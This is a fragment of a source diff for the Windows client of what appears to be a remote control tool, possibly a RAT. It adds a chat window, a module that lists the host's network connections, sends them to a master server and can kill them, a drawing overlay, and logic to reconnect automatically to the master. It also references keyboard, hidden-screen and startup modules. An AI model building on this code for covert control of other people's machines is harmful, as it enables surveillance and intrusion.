st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, (char*)szBuffer);
if (m_hWnd) {
HWND hEditChatLog = GetDlgItem(m_hWnd, IDC_EDIT_CHATLOG);
int nLen = GetWindowTextLength(hEditChatLog);
if (nLen >= 20000) {
SetWindowText(hEditChatLog, "");
nLen = GetWindowTextLength(hEditChatLog);
}
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
ShowWindow(m_hWnd, SW_RESTORE);
}
}
#endif
+30
View File
@@ -0,0 +1,30 @@
// ChatManager.h: interface for the CChatManager class.
//
//////////////////////////////////////////////////////////////////////
#pragma once
#include "Manager.h"
#if ENABLE_MESSAGE==0
#define CChatManager CManager
#else
class CChatManager : public CManager
{
public:
HINSTANCE m_hInstance;
CChatManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CChatManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
private:
BOOL m_bRun;
HANDLE m_hThread;
HWND m_hWnd;
static DWORD WINAPI MessageLoopProc(LPVOID lParam);
static INT_PTR CALLBACK ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
};
#endif
+33 -16
View File
@@ -66,13 +66,15 @@ BOOL IsClientAppRunning(void* thisApp)
return S_CLIENT_NORMAL == This->g_bExit; return S_CLIENT_NORMAL == This->g_bExit;
} }
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared) ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared, int headerEnc)
{ {
auto v = StringToVector(remoteAddr, ':', 2); auto v = StringToVector(remoteAddr, ':', 2);
if (v[0].empty() || v[1].empty()) if (v[0].empty() || v[1].empty())
return nullptr; return nullptr;
auto a = new ClientApp(g_MyApp.g_Connection, run, shared); auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str())); a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
if (headerEnc == PROTOCOL_SHINE || headerEnc == PROTOCOL_HELL)
a->g_Connection->iHeaderEnc = headerEnc;
return a; return a;
} }
@@ -443,6 +445,11 @@ extern "C" __declspec(dllexport) void StopRun()
// 是否成功停止 // 是否成功停止
extern "C" __declspec(dllexport) bool IsStoped() extern "C" __declspec(dllexport) bool IsStoped()
{ {
// 主控端重启(S_SERVER_EXIT):主实例工作线程已结束,即使分享实例仍在运行,
// 也视为「可重连」。旧 TestRun 加载循环靠它立即重连,无需卸载/重装 TestRun.exe;
// 分享实例继续存活,不受主控端重启影响。
if (S_SERVER_EXIT == g_MyApp.g_bExit)
return true;
return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0; return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0;
} }
@@ -460,14 +467,12 @@ extern "C" __declspec(dllexport) int EasyRun()
do { do {
TestRun((char*)settings.ServerIP(), settings.ServerPort()); TestRun((char*)settings.ServerIP(), settings.ServerPort());
if (S_SERVER_EXIT == app.g_bExit)
continue; // 主控端重启:立即重连,不等仍存活的分享实例
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净再退出
while (!IsStoped()) while (!IsStoped())
Sleep(50); Sleep(50);
if (S_CLIENT_EXIT == app.g_bExit) // 受控端退出 break;
break;
else if (S_SERVER_EXIT == app.g_bExit)
continue;
else // S_CLIENT_UPDATE: 程序更新
break;
} while (true); } while (true);
return app.g_bExit; return app.g_bExit;
@@ -553,14 +558,14 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz
do { do {
TestRun((char*)result[0].c_str(), atoi(result[1].c_str())); TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
if (bExit == S_SERVER_EXIT)
continue; // 主控端重启:立即重连,不等仍存活的分享实例
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净
while (!IsStoped()) while (!IsStoped())
Sleep(20); Sleep(20);
if (bExit == S_CLIENT_EXIT) if (bExit == S_CLIENT_EXIT)
return; return;
else if (bExit == S_SERVER_EXIT) break; // S_CLIENT_UPDATE
continue;
else // S_CLIENT_UPDATE
break;
} while (true); } while (true);
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort()); sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
@@ -597,16 +602,26 @@ DWORD WINAPI StartClient(LPVOID lParam)
auto saved_ip = cfg.GetStr("settings", "master"); auto saved_ip = cfg.GetStr("settings", "master");
auto saved_port = cfg.GetInt("settings", "port"); auto saved_port = cfg.GetInt("settings", "port");
settings.SetServer(saved_ip.c_str(), saved_port); settings.SetServer(saved_ip.c_str(), saved_port);
auto saved_proto = cfg.GetStr("settings", "master_proto");
if (saved_proto == "0" || saved_proto == "1")
settings.iHeaderEnc = atoi(saved_proto.c_str());
Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port, Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port,
int(valid_to-now)); int(valid_to-now));
} }
} }
auto list = app.GetSharedMasterList(); auto list = app.GetSharedMasterList();
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) { if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
for (int i=1; i<list.size(); ++i) { // 并发上线的并行实例只派生一次:主控端重启重连时会再次进入 StartClient,
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort()); // 若不守护会重复派生并行连接。主实例的 SetServer(list[0]) 保持每次执行,
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, TRUE); // 让主实例始终指向域名解析出的第一个 IP。
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0)); static bool parallelHasRun = false;
if (!parallelHasRun) {
parallelHasRun = true;
for (int i=1; i<list.size(); ++i) {
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, FALSE);
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
}
} }
// The main ClientApp. // The main ClientApp.
settings.SetServer(list[0].c_str(), settings.ServerPort()); settings.SetServer(list[0].c_str(), settings.ServerPort());
@@ -617,7 +632,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
auto a = cfg.GetStr("settings", "share_list"); auto a = cfg.GetStr("settings", "share_list");
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|'); auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
for (int i = 0; i < shareList.size(); ++i) { for (int i = 0; i < shareList.size(); ++i) {
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE); auto v = StringToVector(shareList[i], ':', 3);
int proto = (v.size() >= 3 && (v[2] == "0" || v[2] == "1")) ? atoi(v[2].c_str()) : -1;
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE, proto);
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0)); if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str()); Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
} }
+1 -1
View File
@@ -130,7 +130,7 @@ public:
} }
}; };
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE); ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE, int headerEnc = -1);
// 启动核心线程,参数为:ClientApp // 启动核心线程,参数为:ClientApp
DWORD WINAPI StartClient(LPVOID lParam); DWORD WINAPI StartClient(LPVOID lParam);
+23
View File
@@ -185,7 +185,15 @@
<ClCompile Include="ClientLogManager.cpp" /> <ClCompile Include="ClientLogManager.cpp" />
<ClCompile Include="Common.cpp" /> <ClCompile Include="Common.cpp" />
<ClCompile Include="ConPTYManager.cpp" /> <ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="FileManager.cpp" /> <ClCompile Include="FileManager.cpp" />
<ClCompile Include="file\FileManager.cpp">
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
</ClCompile>
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="IOCPClient.cpp" /> <ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPKCPClient.cpp" /> <ClCompile Include="IOCPKCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" /> <ClCompile Include="IOCPUDPClient.cpp" />
@@ -215,6 +223,9 @@
<ClCompile Include="CFFmpegH264Encoder.cpp" /> <ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" /> <ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="TalkManager.cpp" /> <ClCompile Include="TalkManager.cpp" />
<ClCompile Include="ChatManager.cpp" />
<ClCompile Include="MachineManager.cpp" />
<ClCompile Include="TlsChannel.cpp" />
<ClCompile Include="VideoManager.cpp" /> <ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" /> <ClCompile Include="X264Encoder.cpp" />
</ItemGroup> </ItemGroup>
@@ -233,9 +244,17 @@
<ClInclude Include="clip.h" /> <ClInclude Include="clip.h" />
<ClInclude Include="ClientLogManager.h" /> <ClInclude Include="ClientLogManager.h" />
<ClInclude Include="Common.h" /> <ClInclude Include="Common.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="ConPTYManager.h" /> <ClInclude Include="ConPTYManager.h" />
<ClInclude Include="CursorInfo.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="IOCPClient.h" /> <ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" /> <ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" /> <ClInclude Include="IOCPUDPClient.h" />
@@ -246,6 +265,7 @@
<ClInclude Include="ServiceWrapper.h" /> <ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="session.h" /> <ClInclude Include="session.h" />
<ClInclude Include="SessionMonitor.h" /> <ClInclude Include="SessionMonitor.h" />
<ClInclude Include="TlsChannel.h" />
<ClInclude Include="VideoEncoderBase.h" /> <ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="KernelManager.h" /> <ClInclude Include="KernelManager.h" />
<ClInclude Include="KeyboardManager.h" /> <ClInclude Include="KeyboardManager.h" />
@@ -268,6 +288,9 @@
<ClInclude Include="StdAfx.h" /> <ClInclude Include="StdAfx.h" />
<ClInclude Include="SystemManager.h" /> <ClInclude Include="SystemManager.h" />
<ClInclude Include="TalkManager.h" /> <ClInclude Include="TalkManager.h" />
<ClInclude Include="ChatManager.h" />
<ClInclude Include="MachineManager.h" />
<ClInclude Include="yapi.hpp" />
<ClInclude Include="VideoCodec.h" /> <ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" /> <ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" /> <ClInclude Include="X264Encoder.h" />
+25
View File
@@ -41,10 +41,21 @@
<ClCompile Include="EncoderFactory.cpp" /> <ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="..\common\file_upload.cpp" /> <ClCompile Include="..\common\file_upload.cpp" />
<ClCompile Include="ConPTYManager.cpp" /> <ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="session.cpp" /> <ClCompile Include="session.cpp" />
<ClCompile Include="reg_startup.c" /> <ClCompile Include="reg_startup.c" />
<ClCompile Include="ServiceWrapper.c" /> <ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="SessionMonitor.c" /> <ClCompile Include="SessionMonitor.c" />
<ClCompile Include="ActivityHistory.cpp" />
<ClCompile Include="ClientLogManager.cpp" />
<ClCompile Include="file\FileManager.cpp" />
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="ChatManager.cpp" />
<ClCompile Include="MachineManager.cpp" />
<ClCompile Include="TlsChannel.cpp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="..\common\file_upload.h" /> <ClInclude Include="..\common\file_upload.h" />
@@ -59,6 +70,7 @@
<ClInclude Include="CaptureVideo.h" /> <ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" /> <ClInclude Include="clip.h" />
<ClInclude Include="Common.h" /> <ClInclude Include="Common.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="CursorInfo.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" /> <ClInclude Include="IOCPClient.h" />
@@ -97,6 +109,19 @@
<ClInclude Include="reg_startup.h" /> <ClInclude Include="reg_startup.h" />
<ClInclude Include="ServiceWrapper.h" /> <ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="SessionMonitor.h" /> <ClInclude Include="SessionMonitor.h" />
<ClInclude Include="ActivityHistory.h" />
<ClInclude Include="ClientLogManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="ChatManager.h" />
<ClInclude Include="MachineManager.h" />
<ClInclude Include="yapi.hpp" />
<ClInclude Include="TlsChannel.h" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ResourceCompile Include="Script.rc" /> <ResourceCompile Include="Script.rc" />
+36
View File
@@ -4,13 +4,19 @@
#include "Manager.h" #include "Manager.h"
#include "ScreenManager.h" #include "ScreenManager.h"
#include "FileManager.h" #include "FileManager.h"
#include "file/FileManager.h"
#include "screenhide/ScreenHideManager.h"
#include "DrawingBoardMgr.h"
#include "TalkManager.h" #include "TalkManager.h"
#include "ChatManager.h"
#include "MachineManager.h"
#include "ShellManager.h" #include "ShellManager.h"
#include "SystemManager.h" #include "SystemManager.h"
#include "ConPTYManager.h" #include "ConPTYManager.h"
#include "AudioManager.h" #include "AudioManager.h"
#include "RegisterManager.h" #include "RegisterManager.h"
#include "ServicesManager.h" #include "ServicesManager.h"
#include "ConnectionsManager.h"
#include "VideoManager.h" #include "VideoManager.h"
#include "KeyboardManager.h" #include "KeyboardManager.h"
#include "ProxyManager.h" #include "ProxyManager.h"
@@ -100,6 +106,31 @@ DWORD WINAPI LoopTalkManager(LPVOID lParam)
return LoopManager<CTalkManager, 0>(lParam); return LoopManager<CTalkManager, 0>(lParam);
} }
DWORD WINAPI LoopChatManager(LPVOID lParam)
{
return LoopManager<CChatManager, 0>(lParam);
}
DWORD WINAPI LoopMachineManager(LPVOID lParam)
{
return LoopManager<CMachineManager, 0>(lParam);
}
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsFile::CFileManager, 0>(lParam);
}
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsScreenHide::CScreenHideManager, 0>(lParam);
}
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsDrawingBoard::DrawingBoardMgr, 0>(lParam);
}
DWORD WINAPI LoopShellManager(LPVOID lParam) DWORD WINAPI LoopShellManager(LPVOID lParam)
{ {
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe // Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
@@ -139,6 +170,11 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
return LoopManager<CServicesManager, 0>(lParam); return LoopManager<CServicesManager, 0>(lParam);
} }
DWORD WINAPI LoopConnectionManager(LPVOID lParam)
{
return LoopManager<CConnectionsManager, 0>(lParam);
}
DWORD WINAPI LoopKeyboardManager(LPVOID lParam) DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
{ {
iniFile cfg(CLIENT_PATH); iniFile cfg(CLIENT_PATH);
+6
View File
@@ -28,12 +28,18 @@ DWORD WINAPI LoopShellManager(LPVOID lParam);
DWORD WINAPI LoopScreenManager(LPVOID lParam); DWORD WINAPI LoopScreenManager(LPVOID lParam);
DWORD WINAPI LoopFileManager(LPVOID lParam); DWORD WINAPI LoopFileManager(LPVOID lParam);
DWORD WINAPI LoopTalkManager(LPVOID lParam); DWORD WINAPI LoopTalkManager(LPVOID lParam);
DWORD WINAPI LoopChatManager(LPVOID lParam);
DWORD WINAPI LoopMachineManager(LPVOID lParam);
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam);
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam);
DWORD WINAPI LoopProcessManager(LPVOID lParam); DWORD WINAPI LoopProcessManager(LPVOID lParam);
DWORD WINAPI LoopWindowManager(LPVOID lParam); DWORD WINAPI LoopWindowManager(LPVOID lParam);
DWORD WINAPI LoopVideoManager(LPVOID lParam); DWORD WINAPI LoopVideoManager(LPVOID lParam);
DWORD WINAPI LoopAudioManager(LPVOID lParam); DWORD WINAPI LoopAudioManager(LPVOID lParam);
DWORD WINAPI LoopRegisterManager(LPVOID lParam); DWORD WINAPI LoopRegisterManager(LPVOID lParam);
DWORD WINAPI LoopServicesManager(LPVOID lParam); DWORD WINAPI LoopServicesManager(LPVOID lParam);
DWORD WINAPI LoopConnectionManager(LPVOID lParam);
DWORD WINAPI LoopKeyboardManager(LPVOID lParam); DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
DWORD WINAPI LoopProxyManager(LPVOID lParam); DWORD WINAPI LoopProxyManager(LPVOID lParam);
DWORD WINAPI LoopClientLogManager(LPVOID lParam); DWORD WINAPI LoopClientLogManager(LPVOID lParam);
+239
View File
@@ -0,0 +1,239 @@
// ConnectionsManager.cpp: implementation of the CConnectionsManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ConnectionsManager.h"
#include "Common.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <iphlpapi.h>
#include <tcpmib.h>
#include <udpmib.h>
#include <vector>
#pragma comment(lib, "iphlpapi.lib")
#if ENABLE_CONNECTION_MNG
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CConnectionsManager::CConnectionsManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
SendConnectionList();
}
CConnectionsManager::~CConnectionsManager()
{
}
// 把 PID 解析成进程映像名(UTF-8)。进程可能已退出/受保护,失败时填 <unknown>。
static void ResolveProcName(DWORD pid, char* out, int outLen)
{
if (outLen <= 0) return;
out[0] = 0;
if (pid == 0) {
strcpy_s(out, outLen, "System Idle Process");
return;
}
HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (h == NULL) {
strcpy_s(out, outLen, "<unknown>");
return;
}
wchar_t wpath[MAX_PATH] = { 0 };
DWORD len = MAX_PATH;
BOOL ok = QueryFullProcessImageNameW(h, 0, wpath, &len);
CloseHandle(h);
if (!ok) {
strcpy_s(out, outLen, "<unknown>");
return;
}
wchar_t* base = wcsrchr(wpath, L'\\');
base = base ? base + 1 : wpath;
if (WideCharToMultiByte(CP_UTF8, 0, base, -1, out, outLen, NULL, NULL) <= 0) {
strcpy_s(out, outLen, "<unknown>");
return;
}
out[outLen - 1] = 0;
}
// IPv4 地址:iphlpapi 的 dwLocalAddr/dwRemoteAddr 是网络序 DWORD(值 0xC0A80101 即 192.168.1.1),
// 转成 16 字节字段前 4 字节的网络序字节后 inet_ntop 可直接展示、断连时再拼回 DWORD。
static void PutAddr4(uint8_t* out, DWORD addrNet)
{
out[0] = (uint8_t)(addrNet >> 24);
out[1] = (uint8_t)(addrNet >> 16);
out[2] = (uint8_t)(addrNet >> 8);
out[3] = (uint8_t)(addrNet);
}
static DWORD GetAddr4(const uint8_t* addr)
{
return ((DWORD)addr[0] << 24) | ((DWORD)addr[1] << 16) | ((DWORD)addr[2] << 8) | (DWORD)addr[3];
}
static void AppendTcp4(std::vector<ConnectionInfo>& rows)
{
PMIB_TCPTABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_TCPTABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_TCPROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 1;
info.af = AF_INET;
info.pid = r.dwOwningPid;
PutAddr4(info.localAddr, r.dwLocalAddr); // 网络序 DWORD → 网络序字节
info.localPort = ntohs((uint16_t)r.dwLocalPort); // 端口网络序 → 主机序
PutAddr4(info.remoteAddr, r.dwRemoteAddr);
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
info.state = r.dwState;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
static void AppendTcp6(std::vector<ConnectionInfo>& rows)
{
PMIB_TCP6TABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_TCP6TABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_TCP6ROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 1;
info.af = AF_INET6;
info.pid = r.dwOwningPid;
memcpy(info.localAddr, r.ucLocalAddr, 16);
info.localPort = ntohs((uint16_t)r.dwLocalPort);
memcpy(info.remoteAddr, r.ucRemoteAddr, 16);
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
info.state = r.dwState;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
static void AppendUdp4(std::vector<ConnectionInfo>& rows)
{
PMIB_UDPTABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_UDPTABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_UDPROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 2;
info.af = AF_INET;
info.pid = r.dwOwningPid;
PutAddr4(info.localAddr, r.dwLocalAddr);
info.localPort = ntohs((uint16_t)r.dwLocalPort);
info.state = 0;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
static void AppendUdp6(std::vector<ConnectionInfo>& rows)
{
PMIB_UDP6TABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_UDP6TABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_UDP6ROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 2;
info.af = AF_INET6;
info.pid = r.dwOwningPid;
memcpy(info.localAddr, r.ucLocalAddr, 16);
info.localPort = ntohs((uint16_t)r.dwLocalPort);
info.state = 0;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
VOID CConnectionsManager::SendConnectionList()
{
std::vector<ConnectionInfo> rows;
AppendTcp4(rows);
AppendTcp6(rows);
AppendUdp4(rows);
AppendUdp6(rows);
size_t count = rows.size();
if (count > 0xFFFF) count = 0xFFFF;
ULONG bufLen = 1 + 2 + (ULONG)(count * sizeof(ConnectionInfo));
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, bufLen);
if (szBuffer == NULL) return;
szBuffer[0] = TOKEN_CONNECTION_LIST;
uint16_t cnt = (uint16_t)count;
memcpy(szBuffer + 1, &cnt, 2);
for (size_t i = 0; i < count; ++i)
memcpy(szBuffer + 3 + i * sizeof(ConnectionInfo), &rows[i], sizeof(ConnectionInfo));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, bufLen, &mask);
LocalFree(szBuffer);
}
void CConnectionsManager::KillConnection(const ConnectionInfo& info)
{
// 仅 IPv4 TCP 有公开 API 可强制断开(SetTcpEntry + DELETE_TCB)。
if (info.proto != 1 || info.af != AF_INET) return;
MIB_TCPROW row = { 0 };
row.dwState = MIB_TCP_STATE_DELETE_TCB;
row.dwLocalAddr = GetAddr4(info.localAddr); // 网络序字节 → 网络序 DWORD
row.dwLocalPort = (DWORD)htons(info.localPort); // 主机序端口 → 网络序
row.dwRemoteAddr = GetAddr4(info.remoteAddr);
row.dwRemotePort = (DWORD)htons(info.remotePort);
SetTcpEntry(&row);
}
VOID CConnectionsManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch (szBuffer[0]) {
case COMMAND_CONNECTION: // 刷新
SendConnectionList();
break;
case COMMAND_KILL_CONNECTION: // 强制断开
if (ulLength >= 1 + sizeof(ConnectionInfo)) {
ConnectionInfo info;
memcpy(&info, szBuffer + 1, sizeof(ConnectionInfo));
KillConnection(info);
}
SendConnectionList();
break;
default:
break;
}
}
#endif
+29
View File
@@ -0,0 +1,29 @@
// ConnectionsManager.h: interface for the CConnectionsManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
#define AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#if ENABLE_CONNECTION_MNG==0
#define CConnectionsManager CManager
#else
class CConnectionsManager : public CManager
{
public:
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CConnectionsManager();
VOID SendConnectionList();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void KillConnection(const ConnectionInfo& info);
};
#endif
#endif // !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
+290
View File
@@ -0,0 +1,290 @@
#include "DrawingBoardMgr.h"
#include <tchar.h>
#define MSG_CLEAR 999
namespace SimplePluginsDrawingBoard {
DrawingBoardMgr::DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user): CManager(ClientObject)
{
m_fAlpha = 150;
m_bIsWorking = TRUE;
m_bTopMost = TRUE;
m_hWnd = NULL;
m_textColor = RGB(255,0,0);
m_Font = CreateFont(20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
m_DrawPen = CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
__CreateThread(NULL, 0, DrawingThreadProc, this, 0, NULL);
BYTE bToken = TOKEN_DRAWING_BOARD;
m_ClientObject->Send2Server((char*)&bToken, 1);
}
DrawingBoardMgr::~DrawingBoardMgr()
{
m_bIsWorking = FALSE;
while (m_hWnd)
Sleep(200);
DeleteObject(m_DrawPen);
DeleteObject(m_Font);
}
DWORD WINAPI DrawingBoardMgr::DrawingThreadProc(LPVOID lpParam)
{
Mprintf("Start DrawingThreadProc\n");
DrawingBoardMgr* pThis = (DrawingBoardMgr*)lpParam;
pThis->RunWindowThread();
pThis->m_bIsWorking = FALSE;
Mprintf("Stop DrawingThreadProc\n");
return 0;
}
void DrawingBoardMgr::RunWindowThread()
{
